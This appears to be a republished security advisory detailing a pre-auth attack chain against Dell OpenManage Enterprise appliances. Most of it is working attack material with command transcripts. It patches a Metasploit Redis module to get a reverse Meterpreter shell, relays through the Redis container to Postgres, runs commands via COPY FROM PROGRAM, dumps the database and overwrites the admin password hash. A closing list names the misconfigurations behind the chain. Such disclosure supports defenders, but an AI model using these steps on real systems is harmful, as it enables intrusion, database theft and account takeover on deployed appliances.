Details - Remote Auth Bypass with 2 pre-auth RCEs in docker instances
There is a chain of pre-auth vulnerabilities allowing to:
get a shell on the redis container, as redis
get a shell on the postgres container, as postgres
get a full access to the postgres database
bypass authentication on the web interface as admin
Due to some requirements in the exploit chain, the attacker needs to be on the same subnet as the target (same LAN, without a gateway between the target and the attacker).
The attack scenario is:
attacker will own the redis running in a container inside the virtual machine running Dell OpenManage Enterprise and get a shell inside this container
attacker will use the shell inside the redis container as a relay to get access to the remote postgresql server
attacker will get a shell on the postgresql server
attacker will redefine a new password for the web interface and will dump the entire postgresql server
attacker will get an access on the web interface as admin
The network flow is:
Attacker(192.168.1.102) -> redis(169.254.255.3, routed by 192.168.1.100) -> Posgres(169.254.255.2)
IPs used in this setup:
192.168.1.100: target virtual machine running Dell OpenManage Enterprise.
192.168.1.102: attacker machine, running Kali.
Internal IPs inside Dell OpenManage Enterprise, by default, already configued by the solution:
169.254.255.2 is the internal IP of the postgres container running inside the virtual machine running Dell OpenManage Enterprise.
169.254.255.3 is the internal IP of the redis container running inside the virtual machine running Dell OpenManage Enterprise.
```
[root@openmanage-enterprise /]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ecf97860f111 redis:latest "docker-entrypoint.s" 2 hours ago Up 2 hours 127.0.0.1:6379->6379/tcp redis
e1e82315ec5b mcsi/omeproductionimage:2.6.0.43 "docker-entrypoint.s" 2 hours ago Up 2 hours 2345/tcp, 127.0.0.1:5432->5432/tcp primarydatabase
```
Shell and Metasploit session:
It is required to add a route to the internal IP of the redis container running inside OpenManage Enterprise:
```
kali# route add -host 169.254.255.3 gw 192.168.1.100
kali# traceroute -nI 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
1 192.168.1.100 0.775 ms 0.762 ms 1.060 ms
2 169.254.255.3 1.911 ms 1.922 ms 1.893 ms
```
On the 3.6.1 version, pings are now dropped. Using tcptraceroute:
```
kali# tcptraceroute 169.254.255.3 6379
Running:
traceroute -T -O info -p 6379 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
1 192.168.1.100 (192.168.1.100) 0.489 ms 0.440 ms 0.545 ms
2 169.254.255.3 (169.254.255.3) <syn,ack> 0.852 ms 0.821 ms 0.720 ms
```
An attacker can now reach the redis and postgres docker instances because iptables is not correctly configured and allow the 2 services to be reachable from the WAN. Also, by default, IP forwarding is enabled:
```
[root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding
net.ipv4.conf.all.forwarding = 1
```
Why not directly reaching Postgres ? By default, ACLs defined in Postgres configuration only allow connections from the 169.254.255.0/24 range, thus it is required to reach the redis interface available on the 169.254.255.3 IP and then use redis as a relay to reach the postgres instance.
```
local postgres postgres trust
host enterprisedb core_admin ::1/128 trust
host enterprisedb core_admin 127.0.0.1/32 trust
host enterprisedb core_admin 169.254.255.1/24 trust
local enterprisedb core_admin trust
local replication rep trust
host replication rep 169.254.255.1/24 trust
```
When trying to connect directly to the IP of Postgres, we can see it is ACL-blocked (after adding a route to 169.254.255.2):
```
kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
kali# psql: error: could not connect to server: FATAL: no pg_hba.conf entry for host "192.168.1.102", user "core_admin", database "enterprisedb", SSL off
```
We can test if we can reach directly the redis daemon, running inside the redis docker:
```
kali# telnet 169.254.255.3 6379
Trying 169.254.255.3...
Connected to 169.254.255.3.
Escape character is '^]'.
TEST
-ERR unknown command `TEST`, with args beginning with:
config set dir /tmp
+OK
^]q
telnet> q
Connection closed.
```
We can reach redis, time to get RCE using master/slave replication using metasploit.
On the attacker machine, it is required to update the `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb` file to use a writable directory for the user `redis`:
Patch `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb` to add:
```
131a132
> redis_command('CONFIG', 'SET', 'dir', '/tmp')
```
Metasploit session:
```
ali# msfconsole
msf5 > use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 192.168.1.102
SRVHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 169.254.255.3
RHOSTS => 169.254.255.3
msf5 exploit(linux/redis/redis_unauth_exec) > run
[*] Started reverse TCP handler on 192.168.1.102:4444
[*] 169.254.255.3:6379 - Compile redis module extension file
[+] 169.254.255.3:6379 - Payload generated successfully!
[*] 169.254.255.3:6379 - Listening on 192.168.1.102:6379
[*] 169.254.255.3:6379 - Rogue server close...
[*] 169.254.255.3:6379 - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.100:60572) at 2020-07-11 12:59:57 -0400
[!] 169.254.255.3:6379 - This exploit may require manual cleanup of './mkmiq.so' on the target
meterpreter > ls
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 46808 fil 2020-07-09 08:59:55 -0400 mkmiq.so
meterpreter > shell
Process 19 created.
Channel 1 created.
id
uid=999(redis) gid=999(redis) groups=999(redis)
exit
meterpreter >
```
Note, with a recent metasploit, the exploit has been moved to exploit/linux/redis/redis_replication_cmd_exec.
The diff is now:
```
diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
137a138
> redis_command('CONFIG', 'SET', 'DIR', '/tmp')
```
This works with all openmanage version (up to the latest version - 3.6.1).
After getting a shell as redis inside the redis docker, it is time to add a port forwarding to the postgresql, in order to bypass ACLs:
```
meterpreter > portfwd add -l 5432 -p 5432 -r 169.254.255.2
[*] Local TCP relay created: :5432 <-> 169.254.255.2:5432
```
On another shell, an attacker will get code execution inside the PGSQL container:
```
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (12.1 (Debian 12.1-2), server 11.6)
Type "help" for help.
enterprisedb-# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
enterprisedb | core_admin | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
cmd_output
-------------------------------------------------------
uid=26(postgres) gid=26(postgres) groups=26(postgres)
(1 row)
enterprisedb=#
```
Dump of database:
```
kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin > dump.sql
```
Time to redefine the administrator password:
Passwords are located in `encryptedstring` table:
```
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
4 | system
1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2
2 | admin
```
Change admin password into `x`:
```
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# UPDATE encryptedstring SET encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' WHERE id=1;
UPDATE 1
enterprisedb=#
```
Now, use admin / x on the web interface ( http://192.168.1.100/ ).
After reversing some java code, passwords are blowfish 10 rounds:
```
kali# python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bcrypt
>>> passwd = b'x'
>>> salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or bcrypt.gensalt(rounds=10)
>>> hashed = bcrypt.hashpw(passwd, salt)
>>> print(hashed)
b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
>>>
```
The main takeways in this setup are:
- Incorrect iptables firewall for Postgres and Redis - only the main IP of the appliance is correctly firewalled, docker instances have these 2 ports open
- IP forwarding is enabled
- Lack of authentication for Redis,
- Lack of authentication for Postgres, only based on IP with an errror when defining the netmask: 169.254.255.1/24 is being used instead of 169.254.255.1/32 or 169.254.255.0/24
- Incorrect ACL for Postgres
- SELinux is useless in this case because all actions are legit
- Custom 'encryption' everywhere to waste time
京公网安备 11010502034610号
暂无评论